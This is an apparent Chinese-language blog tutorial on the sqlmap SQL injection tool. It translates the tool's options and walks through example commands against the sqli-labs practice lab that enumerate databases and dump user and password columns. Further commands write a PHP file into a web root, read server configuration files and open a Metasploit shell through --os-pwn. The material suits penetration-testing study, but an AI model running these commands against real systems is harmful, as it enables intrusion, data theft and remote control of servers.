SQLMAP工具 详细使用方法

官方网址
GitHub地址
使用手册

SQLMAP简介

SQLMAP 是一个开源的渗透测试工具,可以用来自动化的检测,利用 SQL 注入漏
洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据
库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可
以通过外带数据连接的方式执行操作系统命令。

SQLMAP支持的注入模式

SQLMAP 能够检测和利用五种不同的 SQL 注入类型。

基于布尔的盲注:即可以根据返回页面判断条件真假的注入
基于时间的盲注:即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句
是否执行(即页面返回时间是否增加)来判断。

基于报错注入:即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中
联合查询注入:可以使用union的情况下的注入。
堆叠查询注入:可以同时执行多条语句的执行时的注入。

SQLMAP支持的数据库

MySQL
Oracle
PostgreSQL
Microsoft SQL Server
Microsoft Access
IBM DB2
SQLite
Firebird
Sybase
SAP MaxDB

SQLMAP安装

Linux:

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git

sqlmap-dev

Windows:

下载源码 http://sqlmap.org

更新

python sqlmap.py –update

SQLMAP参数详解

使用

python3 sqlmap.py -hh

Options

-h,–help 显示基础帮助信息
-hh 显示高级帮助信息
–version 显示版本信息
-v 输出信息的级别 0-6(默认为1)

Target

必须提供至少一个的以下选项来作为目标

-u URL, --url=URL 目标url (e.g.“http://www.site.com/vuln.php?id=1”)
-d DIRECT 用于直接数据库连接的连接字符串
-l LOGFILE 从Burp或WebScarab代理日志文件解析目标
-m BULKFILE 扫描文本文件中给定的多个目标
-r REQUESTFILE 从文件加载HTTP请求
-g GOOGLEDORK 将谷歌结果处理为目标url
-c CONFIGFILE 从INI配置文件加载选项

Reques

这些选项可用于指定如何连接到目标URL

-A AGENT, --user… 指定HTTP请求 User-Agent 报头值
-H HEADER, --hea… 其他header (e.g. “X-Forwarded-For:
127.0.0.1”)
–method=METHOD 强制使用给定的HTTP方法(e.g. PUT)
–data=DATA 通过POST发送的数据字符串 (e.g. “id=1”)
–param-del=PARA… 用于分割参数值的字符 (e.g. &)
–cookie=COOKIE HTTP Cookie 报头值 (e.g. “PHPSESSID=a8d127e…”)
–cookie-del=COO… 用于分割cookie值的字符 (e.g. 😉
–load-cookies=L… 包含Netscape/wget格式cookies的文件
–drop-set-cookie 忽略响应中的Set-Cookie头
–mobile 通过HTTP User-Agent 头模拟智能手机
–random-agent 使用随机选择的HTTP用户代理头值
–host=HOST HTTP Host header value
–referer=REFERER HTTP Referer header value
–headers=HEADERS 额外的 headers (e.g. “Accept-Language: fr\nETag: 123”)
–auth-type=AUTH… HTTP身份验证类型 (Basic, Digest, NTLM or PKI)
–auth-cred=AUTH… HTTP身份验证凭证 (name:password)
–auth-file=AUTH… HTTP身份验证PEM证书/私钥文件
–ignore-code=IG… 忽略(有问题的)HTTP错误代码 (e.g. 401)
–ignore-proxy 忽略系统默认代理设置
–ignore-redirects 忽略重定向的尝试
–ignore-timeouts 忽略连接超时
–proxy=PROXY 使用代理连接到目标URL
–proxy-cred=PRO… 代理身份验证凭证 (name:password)
–proxy-file=PRO… 从文件加载代理列表
–tor 使用Tor匿名网络
–tor-port=TORPORT 设置Tor代理端口以外的默认
–tor-type=TORTYPE 设置Tor代理类型(HTTP, SOCKS4或SOCKS5(default))
–check-tor 检查Tor是否正确使用
–delay=DELAY 每个HTTP请求之间的延迟(秒)
–timeout=TIMEOUT 等待超时连接秒 (default 30)
–retries=RETRIES 当连接超时时重试 (default 3)
–randomize=RPARAM 随机改变给定参数的值
–safe-url=SAFEURL 测试期间经常访问的URL地址
–safe-post=SAFE… POST数据发送到一个安全的URL
–safe-req=SAFER… 从文件加载安全的HTTP请求
–safe-freq=SAFE… 访问安全URL之间的定期请求
–skip-urlencode 跳过有效负载数据的URL编码
–csrf-token=CSR… 用于保存反csrf令牌的参数
–csrf-url=CSRFURL 提取反csrf令牌访问的URL地址
–csrf-method=CS… 在反csrf令牌页面访问期间使用的HTTP方法
–csrf-retries=C… 重新尝试获取反csrf令牌 (default 0)
–force-ssl 强制使用SSL/HTTPS
–chunked 使用HTTP分块传输编码 (POST) 请求
–hpp 使用HTTP参数污染方法
–eval=EVALCODE 在请求之前评估提供的Python代码 (e.g. “import hashlib;id2=hashlib.md5(id).hexdigest()”)

Optimization

这些选项可用于优化sqlmap的性能

-o 打开所有优化开关
–predict-output 预测常见查询输出
–keep-alive 使用持久HTTP连接
–null-connection 检索页面长度,而不需要实际的HTTP响应体
–threads=THREADS 最大并发HTTP请求数 (默认为1)

Injection

这些选项可用于指定要测试的参数、提供自定义注入有效负载和可选的篡改脚本

-p TESTPARAMETER 可测试的参数
–skip=SKIP 跳过给定参数的测试
–skip-static 跳过看起来不是动态的测试参数
–param-exclude=… Regexp从测试中排除参数 (e.g. “ses”)
–param-filter=P… 按位置选择可测试参数 (e.g. “POST”)
–dbms=DBMS 强制后端DBMS为提供的值
–dbms-cred=DBMS… DBMS身份验证凭证 (user:password)
–os=OS 强制后端DBMS操作系统为提供的值
–invalid-bignum 使用大的数字使值无效
–invalid-logical 使用逻辑运算来使值无效
–invalid-string 使用随机字符串使值无效
–no-cast 关闭有效载荷投放机制
–no-escape 关闭字符串转义机制
–prefix=PREFIX 注入有效载荷前缀字符串
–suffix=SUFFIX 注入有效载荷后缀字符串
–tamper=TAMPER 使用给定的脚本篡改注入数据

Detection

这些选项可用于自定义检测阶段

–level=LEVEL 要执行的测试级别 (1-5, default 1)
–risk=RISK 进行测试的风险 (1-3, default 1)
–string=STRING 查询评估为True时匹配的字符串
–not-string=NOT… 查询评估为False时要匹配的字符串
–regexp=REGEXP 正则表达式在查询评估为True时匹配
–code=CODE 查询评估为True时要匹配的HTTP代码
–smart 仅在启发式为正的情况下执行全面测试
–text-only 仅根据文本内容比较页面
–titles 仅根据标题比较页面

Techniques

这些选项可用于调整特定SQL注入技术的测试

–technique=TECH… 使用的SQL注入技术 (default “BEUSTQ”)
–time-sec=TIMESEC 延迟DBMS响应的秒数 (default 5)
–union-cols=UCOLS 要测试UNION查询SQL注入的列范围
–union-char=UCHAR 用于暴力破解列数的字符
–union-from=UFROM 在UNION查询SQL注入的FROM部分中使用表
–dns-domain=DNS… 用于DNS渗透攻击的域名
–second-url=SEC… 搜索结果页面URL以获取二阶响应
–second-req=SEC… 从文件加载二阶HTTP请求

Fingerprint

-f,–fingerprint 执行广泛的DBMS版本指纹

Enumeration

这些选项可用于枚举表中包含的端到端数据库管理系统信息、结构和数据

-a, --all
检索所有内容
-b, --banner
检索 DBMS banner
–current-user
检索 DBMS 当前用户
–current-db
检索 DBMS 当前数据库
–hostname
检索 DBMS 服务器主机名
–is-dba
检测 DBMS 当前用户是否为 DBA
–users
枚举 DBMS 用户
–passwords
枚举 DBMS 用户密码哈希
–privileges
枚举 DBMS 用户权限
–roles
枚举 DBMS 用户角色
–dbs
枚举 DBMS 数据库
–tables
枚举 DBMS 数据库表
–columns
枚举 DBMS 数据库表列
–schema
枚举 DBMS 架构
–count
检索表的条目数
–dump
转储 DBMS 数据库表条目
–dump-all
转储所有 DBMS 数据库表表条目
–search
搜索列、表 和/或 数据库名称
–comments
在枚举期间检查 DBMS 注释
–statements
检索在 DBMS 上运行的 SQL 语句
-D DB
要枚举的 DBMS 数据库
-T TBL
要枚举的 DBMS 数据库表
-C COL
要枚举的 DBMS 数据库表列
-X EXCLUDE
要不枚举的 DBMS 数据库标识符
-U USER
要枚举的 DBMS 用户
–exclude-sysdbs
枚举表时排除 DBMS 系统数据库
–pivot-column=P…
数据透视列名称
–where=DUMPWHERE
表转储时使用 WHERE 条件
–start=LIMITSTART
要检索的第一个转储表条目
–stop=LIMITSTOP
要检索的最后一个转储表条目
–first=FIRSTCHAR
要检索的第一个查询输出单词字符
–last=LASTCHAR
要检索的最后一个查询输出单词字符
–sql-query=SQLQ…
要执行的 SQL 语句
–sql-shell
交互式 SQL 外壳的提示
–sql-file=SQLFILE
从给定文件执行 SQL 语句

Brute force

这些选项可用于运行暴力检查

–common-tables 检查是否存在公共表
–common-columns 检查是否存在公共列
–common-files
检查是否存在通用文件

User-defined function injection

这些选项可用于创建用户自定义的函数

–udf-inject
注入用户自定义的函数
–shared-lib=SHLIB
共享库的本地路径

File system access

这些选项可用于访问文件系统基础的端到端数据库管理系统

–file-read=FILE… 从后端 DBMS 文件系统读取文件
–file-write=FIL… 在端到端 DBMS 文件系统上写入本地文件
–file-dest=FILE… 要写入的端到端 DBMS 绝对文件路径

python3 sqlmap.py -u http://172.26.2.36/vulnlab/index.php?id=1
–file-write=eval.txt --file-dest=/var/www/html/upload/123.php
python3 sqlmap.py -u http://172.26.2.36/vulnlab/index.php?id=1
–file-read=/etc/httpd/conf

Operating system access

这些选项可用于访问操作系统基础的端到端数据库管理系统

–os-cmd=OSCMD
执行操作系统命令
–os-shell
交互式操作系统外壳的提示
–os-pwn
提示 OOB shell, Meterpreter or VNC
–os-smbrelay
一键提示 OOB shell, Meterpreter or VNC
–os-bof
存储过程缓冲区溢出利用
–priv-esc
数据库进程用户权限升级
–msf-path=MSFPATH
安装 Metasploit 框架的本地路径
–tmp-path=TMPPATH
临时文件目录的远程绝对路径

sqlmap -u http://172.26.2.36/vulnlab/index.php?id=1 --os-pwn –
msf-path /usr/share/metasploit-framework/

Windows registry access

这些选项可用于访问端到端数据库管理系统 Windows 注册表

–reg-read 读取 Windows 注册表项值
–reg-add 写入 Windows 注册表项值数据
–reg-del 删除 Windows 注册表项值
–reg-key=REGKEY Windows 注册表项
–reg-value=REGVAL Windows 注册表密钥值
–reg-data=REGDATA Windows 注册表密钥值数据
–reg-type=REGTYPE Windows 注册表键值类型

General

这些选项可用于设置一些常规工作参数

-s SESSIONFILE 从存储的(.sqlite)文件加载会话
-t TRAFFICFILE 将所有 HTTP 流量记录到文本文件中
–answers=ANSWERS 设置预定义answers (e.g. “quit=N,follow=N”)
–base64=BASE64P… 包含 Base64 编码数据的参数
–base64-safe 使用 URL 和文件名安全 Base64 字母表
–batch 从不要求用户输入,使用默认行为
–binary-fields=… 具有二进制值的结果字段 (e.g. “digest”)
–check-internet 在评估目标之前检查互联网连接
–cleanup 从 sqlmap 特定的 UDF 和表清理 DBMS
–crawl=CRAWLDEPTH 从目标 URL 开始抓取网站
–crawl-exclude=… regexp从爬网中排除页面 (e.g. “logout”)
–csv-del=CSVDEL CSV 输出中使用的分隔字符 (default “,”)
–charset=CHARSET 盲 SQL 注入字符集 (e.g. “0123456789abcdef”)
–dump-format=DU… 转储数据的格式 (CSV (default), HTML or
SQLITE)
–encoding=ENCOD… 用于数据检索的字符编码 (e.g. GBK)
–eta 显示每个输出的估计到达时间
–flush-session 刷新当前目标的会话文件
–forms 在目标 URL 上解析和测试表单
–fresh-queries 忽略存储在会话文件中的查询结果
–gpage=GOOGLEPAGE 使用来自指定页号的 Google dork 结果
–har=HARFILE 将所有 HTTP 流量记录到 HAR 文件中
–hex 在数据检索期间使用十六进制转换
–output-dir=OUT… 自定义输出目录路径
–parse-errors 分析并显示来自响应的 DBMS 错误消息
–preprocess=PRE… 使用给定的脚本预处理响应数据
–repair 具有未知字符标记的Redump条目
–save=SAVECONFIG 将选项保存到配置 INI 文件
–scope=SCOPE 用于筛选目标的 Regexp
–skip-waf 跳过 WAF/IPS 保护的启发式检测
–table-prefix=T… 用于临时表的前缀 (default: “sqlmap”)
–test-filter=TE… 按有效负载 和/或 标题选择测试 (e.g. ROW)–test-skip=TEST… 按有效负载 和/或 标题跳过测试 (e.g. BENCHMARK)
–web-root=WEBROOT Web 服务器文档根目录 (e.g. “/var/www”)

Miscellaneous

这些选项不适合任何其他类别

-z MNEMONICS
使用短的分音 (e.g. “flu,bat,ban,tec=EU”)
–alert=ALERT
找到 SQL 注入时运行主机 OS 命令
–beep
问题 和/或 找到 SQL 注入时发出蜂鸣音
–dependencies
检查缺少(可选)sqlmap 依赖项
–disable-coloring 禁用控制台输出着色
–list-tampers
显示可用篡改脚本的列表
–offline
脱机模式下工作(仅使用会话数据)
–purge
安全地从 sqlmap
数据目录中删除所有内容
–results-file=R…
CSV 结果文件在多个目标模式下的位置
–sqlmap-shell
交互式 sqlmap 外壳的提示
–tmp-dir=TMPDIR
用于存储临时文件的本地目录
–unstable
调整不稳定连接的选项
–update
更新 sqlmap
–wizard
适合初学者用户的简单向导界面

SQLMAP实例

GET注入

检测SQL注入漏洞(以 sqli-labs less-1为例)

测试目标是否存在SQL注入漏洞

python3 sqlmap.py -u http://xxxx:xxxx/Less-1/?id=1

获取当前用户

python3 sqlmap.py -u http://xxxx:xxxx/Less-1/?id=1 --current-user

获取当前数据库

python3 sqlmap.py -u http://xxxx:xxxx/Less-1/?id=1 --current-db

获取所有数据库名

python3 sqlmap.py -u http://xxxx:xxxx/Less-1/?id=1 --dbs

获取数据库的表名

python3 sqlmap.py -u http://xxxx:xxxx/Less-1/?id=1 -D security --tables

获取数据表下的字段名

python3 sqlmap.py -u http://xxxx:xxxx/Less-1/?id=1 -D security -T emails --columns

获取字段值

python3 sqlmap.py -u http://xxxx:xxxx/Less-1/?id=1 -D security -T emails -C id,email_id --dump

POST注入

用Burp抓包,然后保存抓取到的内容。例如:保存为post.txt,然后把它放至某个目录下

python3 sqlmap.py -r aa.txt + 参数

检查目标是否存在注入漏洞

sqlmap.py -r "C:\Users\xxxxx\Desktop\post.txt"

[0] place: POST, parameter: uname, type: Double quoted string (default)
[1] place: POST, parameter: passwd, type: Double quoted string

跑出以上两个注入点

获取所有数据库

sqlmap.py -r "C:\Users\xxxxx\Desktop\post.txt" -p uname --dbs

"C:\Users\xxxxx\Desktop\post.txt":请求数据保存的位置

uname:要测试的请求参数

获取数据库中的表名

sqlmap.py -r "C:\Users\xxxxx\Desktop\post.txt" -p uname -D security --tables

获取数据表下的字段名

sqlmap.py -r "C:\Users\xxxxx\Desktop\post.txt" -p uname -D security -T users --columns

获取字段值

sqlmap.py -r "C:\Users\xxxxx\Desktop\post.txt" -p uname -D security -T users -C id,password,username --dump  

  • 2
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

渗透测试小白

如果您觉得满意,一分一毛也是爱

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值